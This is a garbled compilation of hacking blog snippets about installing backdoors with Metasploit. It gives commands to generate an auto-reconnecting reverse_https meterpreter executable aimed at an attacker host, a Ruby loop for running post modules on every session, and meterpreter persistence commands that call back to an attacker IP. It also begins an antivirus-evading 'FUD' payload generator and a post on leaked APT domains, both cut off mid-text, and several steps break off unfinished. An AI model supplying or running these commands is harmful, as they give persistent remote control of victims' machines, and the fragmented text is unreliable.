Create Auto reconnect Backdoor With Metasploit

This post will show how to install the autoconnect backdoor in victim machine.

1.  Create the auto reconnect backdoor with metasploit.
msf> use payload/windows/meterpreter/reverse_https
msf> set LHOST attacker_IP
msf> set LPORT binding_port
msf> set SessionCommunicationTimeout 0
msf> set SessionExpirationTimeout 0
msf> generate -t exe -f /var/www/backdoor.exe

2. Binding receiving backdoor

Howto: Run the post module in all session of Metasploit.

1. Use any post method



2. use command irb

msf> use post/windows/gather/enum_tokens 

msf enum_tokens> irb



3. Type this statement
framework.sessions.each_key do |session|
run_single("set SESSION #{session}")
print_status("Running #{active_module.fullname} against session #{session}")
run_single("run")
sleep 1
end
 
4. So if you want to save step 3 into the file and use in

Howto: Run Persistence with Metasploit.

1. You can get into the victim machine with Metasploit.

2. Use the post module.

meterpreter> run persistence -U -i 5 -p attacker_port -r attacker_ip








3. If you want to change payload use -P option for that.
meterpreter> run persistence -P windows/meterpreter/reverse_https -U -p attacker_port -r attacker_ip



4.  If you want to create the backdoor service in the victim machine,

FUD Payload Generator for Backtrack By Coresec.org

Today based on Astr0baby’s article on how can we create a fully undetectable metasploit payload, i modified his REVERSE_TCP Payload Generator in order to work with Backtrack 5 distro. Below you can find the modified version and a simple presentation on how it works:



#!/bin/bash
echo "************************************************************"
echo " Automatic

Leak of APT domains

If you want to see all in the list, please go to the Source. Hello security community. I’ve compiled the following information for your viewing pleasure.  I hope this isn’t as misconstrued as http://www.secureworks.com/research/threats/htran/. This information is by no means the result of a singular analysis of a public Chinese hacking utility. At least three distinct threat groups were